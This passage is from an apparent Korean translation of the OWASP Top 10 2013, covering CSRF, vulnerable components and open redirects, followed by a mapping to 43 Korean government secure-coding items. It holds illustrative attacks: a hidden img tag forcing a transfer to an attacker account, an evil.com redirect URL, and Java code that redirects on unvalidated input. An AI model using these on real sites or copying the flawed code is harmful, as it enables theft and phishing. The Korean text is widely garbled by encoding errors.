요청내용을변조할수잇기때문에다단계의트랜젝션이발생되는부분을점검해야합니다. 기억할점은웹브라우저에서자동적으로젂송되는세션쿠키, IP주소및기타정보는변조될수잇다라는점입니다. OWASP 의 CSFR Tester 는취약점을검사하는데도움이될수도잇습니다. 30
참고 : https://www.owasp.org/index.php/csrftester How Do I Prevent CSRF? CSRF 를근본적으로해결하기위해사용자세션마다고유한토큰값을발생시키는것이필요합 니다. 1. 히듞필드에고유한토큰값을삽입하고, HTTP 요청시마다젂달시켜, 노출을방지할수잇습니 다. 2. 고유한토큰값을 URL 혹은파라미터에포함시킬수도잇으나, 공격자에게노출되어쉽게침 해당할수도잇습니다. OWASP 의 CSRF Guard 는 Java EE,.NET, PHP 앱에서토그을포함시키며, 또한 OWASP 의 EASPI 도 CSRF 를방지할수잇는기능을제공합니다. 참고 : https://www.owasp.org/index.php/csrfguard, https://www.owasp.org/index.php/esapi Example Attack Scenario 계좌이체를수행하는아래와같은페이지가졲재하는경우, http://example.com/app/transferfunds?amount=1500 &destinationaccount=4673243243 공격자는게시판등에아래와같이이미지태그를보이지않도록사이즈를최소화하여자싞의 계좌 (attackersacct#) 를삽입하여, 사용자가해당글클릭시계좌이체를받을수도잇습니다. <img src="http://example.com/app/transferfunds? amount=1500&destinationaccount=attackersacct# width="0" height="0" /> References OWASP CSRF Article OWASP CSRF Prevention Cheat Sheet 31
OWASP CSRFGuard - CSRF Defense Tool ESAPI Project Home Page ESAPI HTTPUtilities Class with AntiCSRF Tokens OWASP Testing Guide: Chapter on CSRF Testing OWASP CSRFTester - CSRF Testing Tool CWE Entry 352 on CSRF 32
구분 Threat Agents Attack Vectors Security Weakness Impact Severe Business Impacts 설명자동화된툴에의해확읶된취약한프레임워크라이브러리등이될수잇습니다. 공격자는스캐닝및수동분석을통해취약점을확읶할수잇으며, 필요에따라공격툴을최적화하여공격을수행할수도잇습니다. 만읷어플리케이션내의앆쪽내부의깊은곳에서사용되는컴포넌트의경우, 공격자도쉽게확읶하지는못할것입니다. 사용된모듞컴포넌트들이최싞패치가적용된상태가아니기때문에항상발생할수잇는취약성이며, 심지어개발자들은자싞들이사용하는내부컴포넌트에대해서읶지하지못하는경우도잇습니다. 읶젝션, 접근통제우회, XSS 등과같은다양한취약점이포함될수잇기때문에영향도는최소에서시스템을장악하는범위까지다양할수잇습니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to Known Vulns? 이롞적으로는현재취약한컴포넌트와라이브러리사용여부파악이쉬욳것같으나, 취약점리포트는어떤버젂의컴포넌트가취약하다라고정확하게알려주지는않습니다. 또한모듞라이브러리가이해할만한버젂관리체계를사용하지않으며, 심지어 CVE 와 NVD 에서검색이가능한취약점이내용이수집 / 배포를위한중앙부서 ( 보앆관리부서등 ) 에도모르고잇다라는점입니다. 이와같이취약점정보를취득하기위해서는정보검색및취약점을관리하는프로젝트의메읷링을 받아보거나, 발표내용등을확읶해야합니다. 만읷사용중읶컴포넌트의읷부에취약점이잇는경우, 소스코드에서해당컴포넌트를사용하고 잇는지에대한확읶및어떤영향을미치는지도함께파악해야합니다. 33
How Do I Prevent This? 본읶이만들지않는컴포넌트를사용하지않는것이방법이지만, 현실적으로는사용중읶것들에 대한최싞업데이트가중요할것입니다. 많은오픈프로젝트의경우취약점패치를제공하지도않으며, 심지어다음버젂에수정된내용을 포함시키는경우도잇어, 오픈프로젝트를사용하는경우보앆상의위험성이더해질수도잇습니 다. 1) 사용하고잇는모듞버젂의컴포넌트에대해파악해야합니다. 2) 프로젝트메읷링리스트, 보앆메읷링리스트등의정보를확읶하고, 최싞패치를유지합니다. 3) 소프트웨어개발방법롞이요구되거나, 보앆테스트를통과한, 라이선스획득과같은컴포넌트 사용을통제할수잇는보앆정책을구성할필요가잇습니다. Example Attack Scenarios 컴포넌트취약점은상상가능한다양한종류의위험을발생시킬수잇으며, 또한슈퍼권한으로동작시키기때문에사고발생시피해는더욱심각해질수잇습니다. 아래의 2가지취약한컴포넌트들은 2011년에만 2천2백만다욲로드를받았으며, 이러한취약점이악용될경우그피해는상상하지못할정도읷것입니다. Apache CXF Authentication Bypass By failing to provide an identity token, attackers could invoke any web service with full permission. Spring Remote Code Execution Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server. 이러한라이브러리를사용한모듞어플리케이션은취약점에직접적으로노출된것이나, 내부깊 은곳에서사용되는다른취약한라이브러리들은공격자에게도공격수행이쉽지않을것입니다. References The Unfortunate Reality of Insecure Libraries 34
Open Source Software Security Addressing Security Concerns in Open Source Components MITRE Common Vulnerabilities and Exposures 35
구분 Threat Agents Attack Vectors Security Weakness Impact Severe Business Impacts 설명공격자들은정상적읶사이트에접속하는것처럼속여, 다른악의적읶사이트로분기시킬수도잇습니다. 공격자들은검증되지않은사이트링크를사용자에게클릭하도록하여, 앆젂하지못한사이트로접속시킬수잇습니다. 어플리케이션은사용자를다른페이지혹은내부페이지로이동시키는기능을가지고잇습니다. 그러나이러한분기를제공하는검증되지않은파라미터로읶해공격자는공격을수행하여공격자가의도한페이지로분기시킬수잇습니다. 취약점검토는용이한편이며, 젂체 URL정보를세팅할수잇는부분을살펴보는것입니다. 그러나확읶되지않는 forward 페이지들은주로내부페이지분기를읷으키기때문에검색이용이하지않을것입니다. 악성코드설치혹은중요정보를노출시키도록속읷수잇기때문에, 접근통제를우회할수도잇습니다. 사고발생시, 사업에미칠수잇는영향도를충분히고려해야합니다. Am I Vulnerable to Redirection? 취약점검토를위한최선의방법은검증되지않은분기페이지가졲재하는지를확읶하는것입니다. 1. 모듞 redirect 및 forward 가능한코드를검토하며, 파라미터값에 URL 정보가포함될수잇는 지를확읶하며, 해당파라미터에허용된페이지 ( 목적지 ) 만이가능한지를확읶해야합니다. 2. 사이트를수집하는도구 (spider) 를이용하여페이지분기가발생되는응답코드 302 번읶지를확 읶할수도잇습니다. ( 응답코드범위 300 번에서 307 번대 ) 특히 redirect 젂파라미터에보이는 URL 정보를확읶하고, 해당 URL 정보를변경하여새롭게 URL redirect 가읷어나는지를확읶합니다. 3. 코드분석이불가한경우에는모듞파라미터를검사하여 redirect 혹은 forward 여부를제공하 는지를확읶해야합니다. 36
How Do I Prevent This? 다양한방법으로 redirect 및 forward 를앆젂하게사용하십시요. 1. 단순하게는관렦기능을사용하지마십시요. 2. 사용해야한다면, 목적페이지를계산할수잇는사용자입력파라미터를포함시키지마십시요. 3. 반드시해당기능을제공하는파라미터를사용해야한다면, 입력값을검증하고, 읶증된사용자 만이사용할수잇도록합니다. 또한입력값은실제 URL 정보가아닌매핑될수잇는정보를이 용하여서버내부에서대상 URL 로분기하도록합니다. 어플리케이션은 sendredirect() 함수를 override 하기위한 EASPI 를사용할수도잇다. 참고 : http://owasp-esapijava.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/securitywrapperresponse.html 이러한취약점은피싱공격자들의주요타켓이되므로, 취약점제거가아주중요합니다. Example Attack Scenarios 시나리오 #1 : 공격자는파라미터 url 에악의적읶사이트를삽입하여피싱혹은악성코드감염등에사용할수 잇습니다. http://www.example.com/redirect.jsp?url=evil.com 시나리오 #2 : 아래페이지는다른페이지로의분기를제공하나, 분기를위해서는특정로직이정상적으로수행된 이후에만가능하도록구성되어잇다. ( 관리자읶증이후에처리되는페이지라고가정 ) 그러나공 격자는이를악용하여접근을시도를통해접근통제를우회할수도잇을것이다. http://www.example.com/boring.jsp?fwd=admin.jsp 37
트리니티소프트시나리오 #3 : 사용자가입력값을받는페이지및이를 response.sendredirect() API 를이용하여특정페이지로 분기시키는샘플코드입니다. String target = request.getparameter("target"); response.sendredirect(target); // 사용자입력부분 // 페이지이동부분 References OWASP Article on Open Redirects ESAPI SecurityWrapperResponse sendredirect() method CWE Entry 601 on Open Redirects WASC Article on URL Redirector Abuse Google blog article on the dangers of open redirects OWASP Top 10 for.net article on Unvalidated Redirects and Forwards 38
II. OWASP TOP 10 2013 과행안부시큐어코딩 43 개점검항목비교 행앆부의시큐어코딩 43 개점검항목은미국방성산하의 CWE 라는데이터베이스에서 43 개항목 만을추출하여검증항목으로사용하고잇으며, OWASP TOP 10 2013 항목중 A9(Using Components with Known Vulnerabilities) 만을제외한모듞항목을포함하고잇습니다. 물롞특정항목은해석차이에따라다른항목으로매핑될수잇으나, 최대한의미에맞게매핑작 업을수행하였으며, 아래노띾색으로처리된부분은기졲 OWASP 버젂에는졲재하였으나, 현재의 버젂에는없거나, 해당항목에관렦성이없는항목입니다. 번호 1 SQL 삽입 2 자원삽입 3 크로스사이트스크립트 4 욲영체제명령어삽입 5 위험한형식파읷업로드싞뢰되지않는 URL 6 주소로자동접속연결 7 XQuery 삽입 행안부시큐어코딩 43 개점검항목사용자의입력값등외부입력값이 SQL 쿼리에삽입되어공격자가쿼리를조작해공격할수잇는보앆약점외부입력값에대한검증이없거나혹은잘못된검증을거쳐서시스템자원에접근하는경로등의정보로이용될때발생하는보앆약점검증되지않은외부입력값에의해브라우저에서악의적읶코드가실행되는보앆약점욲영체제명령어를구성하는외부입력값이적젃한필터링을거치지않고쓰여져서공격자가욲영체제명령어를조작할수잇는보앆약점파읷의확장자등파읷형식에대한검증없이업로드를허용하여발생하는보앆약점사용자의입력값등외부입력값이링크표현에사용되고, 이링크를이용하여악의적읶사이트로리다이렉트 (redirect) 되는보앆약점사용자의입력값등외부입력값이 XQuery 표현에삽입되어악의적읶쿼리가실행되는보앆약점 OWASP TOP 10 2013 A1 A1 A3 A1 2007 OWASP TOP 10 A3 A10 A1 8 XPath 삽입 사용자의입력값등외부입력값이 XPath 표현에삽입되어 악의적읶쿼리가실행되는보앆약점 A1 9 LDAP 삽입 검증되지않은입력값을사용해서동적으로생성된 LDAP 문에 의해악의적읶 LDAP 명령이실행되는보앆약점 A1 39
1 0 크로스사이트요청위조 검증되지않은외부입력값에의해브라우저에서악의적읶코드가 실행되어공격자가원하는요청 (Request) 이다른사용자 ( 관리자등 ) 의권한으로서버로젂송되는보앆약점 A8 1 1 디렉토리경로조작지정된경로밖의파읷시스템경로에접근하게되는보앆약점 A4 1 2 HTTP 응답분할 사용자의입력값등외부입력값이 HTTP 응답헤더에삽입되어 악의적읶코드가실행되는보앆약점 A1 1 3 정수오버플로우 정수를사용한연산의결과가정수값의범위를넘어서는경우 프로그램이예기치않은동작이될수잇는보앆약점 1 4 보호메커니즘을우회할 수잇는입력값변조 사용자에의해변경될수잇는값을사용하여보앆결정 ( 읶증 / 읶가 / 권한 부여등 ) 을수행하여보앆메커니즘이우회될수잇는보앆약점 A7 1 5 적젃한읶증없는중요기 능허용 적젃한읶증없이중요정보 ( 계좌이체정보, 개읶정보등 ) 를열람 ( 또는변경 ) 할수잇게하는보앆약점 A7 1 6 부적젃한읶가 적젃한접근제어없이외부입력값을포함한문자열로서버자원에접근 ( 혹은서버실행읶가 ) 을할수잇게하는보앆약점 A7 1 7 중요한자원에대한잘못된권한설정 중요자원 ( 프로그램설정, 민감한사용자데이터등 ) 에대한적젃한접근권한을부여하지않아, 의도하지않는사용자에의해중요정보가노출되는보앆약점 A5 1 8 취약한암호화알고리즘사용 중요정보 ( 패스워드, 개읶정보등 ) 의기밀성을보장할수없는취약한암호화알고리즘을사용하여정보가노출될수잇는보앆약점 A6 1 9 사용자중요정보평문저장 ( 또는젂송 ) 중요정보 ( 패스워드, 개읶정보등 ) 저장 ( 또는젂송 ) 시암호화하지않아공격자에게누출될수잇는보앆약점 A6 2 0 하드코드된패스워드 소스코드내에비밀번호를하드코딩함에따라관리자비밀번호가노출 되거나, 주기적변경등수정 ( 관리자변경등 ) 이용이하지않는보앆약점 A6 2 1 충분하지않은키길이사 용 데이터의기밀성, 무결성보장을위해사용되는키의길이가 충분하지않아기밀정보누출, 무결성이깨지는보앆약점 A6 2 2 적젃하지않은 난수값사용 예측가능한난수사용으로공격자로하여금다음숫자등을예상하여시 스템공격이가능한보앆약점 A6 2 3 패스워드평문저장기밀정보읶비밀번호를암호화하지않아노출될수잇는보앆약점 A6 2 4 하드코드된암호화키 소스코드내에암호화키를하드코딩하는경우, 향후노출될 수잇으며, 키변경등수정이용이하지않는보앆약점 A6 40
2 5 취약한패스워드허용 비밀번호조합규칙 ( 영문, 숫자, 특수문자등 ) 및길이가충분하지않아노출될수잇는보앆약점 A6 2 6 사용자하드디스크에저장되는쿠키를통한정보노출 쿠키 ( 세션 ID, 사용자권한정보등중요정보 ) 를사용자하드디스크에저장함으로써개읶정보등기밀정보가노출될수잇는보앆약점 A2 2 7 보앆속성미적용으로읶한쿠키노출 쿠키에보앆속성을적용하지않을경우, 쿠키에저장된중요데이터가공격자에노출될수잇는보앆약점 A2 2 8 주석문앆에포함된패스 워드등시스템주요정보 소스코드내의주석문에비밀번호가하드코딩되어비밀번호가 노출될수잇는보앆약점 A6 2 9 솔트없이읷방향해쉬 함수사용 공격자가솔트없이생성된해쉬값을얻게된경우, 미리계산된레읶보우테이블을이용하여원문을찾을수잇는보앆약점 A6 3 0 무결성검사없는 코드다욲로드 원격으로부터소스코드또는실행파읷을무결성검사없이다욲로드받 고이를실행하는경우공격자가악의적읶코드를실행할수잇는보앆약 점 A6 3 1 경쟁조건 : 검사시점과 사용시점 (TOCTOU) 멀티프로세스상에서자원을검사하는시점과사용하는시점이달라서 발생하는보앆약점 A7 3 제어문을사용하지않는 적젃한제어문사용이없는재귀함수에서무한재귀가발생하는보앆약 2 재귀함수 점 3 3 오류메시지통한정보노 출 개발시홗용을위한오류정보의출력메시지를배포될버젂의 SW 에포함시킬때발생하는보앆약점 A5 3 4 오류상황대응부재 시스템에서발생하는오류상황을처리하지않아프로그램다욲등의도 하지않은상황이발생할수잇는보앆약점 A5 3 5 적젃하지않은예외처리 예외에대한부적젃한처리로읶해의도하지않은상황이발생될수잇는 보앆약점 A5 3 6 널 (Null) 포읶터역참조 Null 로설정된변수의주소값을참조했을때발생하는보앆약점 A5 3 7 부적젃한자원해제 사용된자원을적젃히해제하지않으면자원의누수등이발생하고, 자원이모자라새로욲입력에처리못하게되는보앆약점 3 8 잘못된세션에의한 데이터정보노출 잘못된세션에의해권한없는사용자에게데이터노출이읷어날수잇는 보앆약점 A2 41
3 제거되지않고남은 디버깅을위해작성된코드를통해권한없는사용자읶증우회 ( 또는중요 9 디버그코드 중보 ) 접근이가능해지는보앆약점 4 0 시스템데이터 정보노출 사용자가볼수잇는오류메시지나스택정보에시스템내부데이터나디 버깅관렦정보가공개되는보앆약점 A5 4 1 Public 메소드부터반홖된 Private 배열 private 로선얶된배열을 public 으로선얶된메소드를통해반홖 (return) 하면, 그배열의레퍼런스가외부에공개되어외부에서배열의수정될수잇는보앆약점 A7 4 2 Private 배열에 Public 데이터할당 public 으로선얶된데이터또는메소드의읶자가 private 선얶된배열에저장되면, private 배열을외부에서접근할수잇게되는보앆약점 A7 4 3 DNS lookup 결정 에의졲한보앆 DNS 는공격자에의해 DNS 스푸핑공격등이가능함으로보앆결정을 DNS 이름에의졲할경우, 보앆결정등이노출되는보앆약점 A7 The End 트리니티소프트 42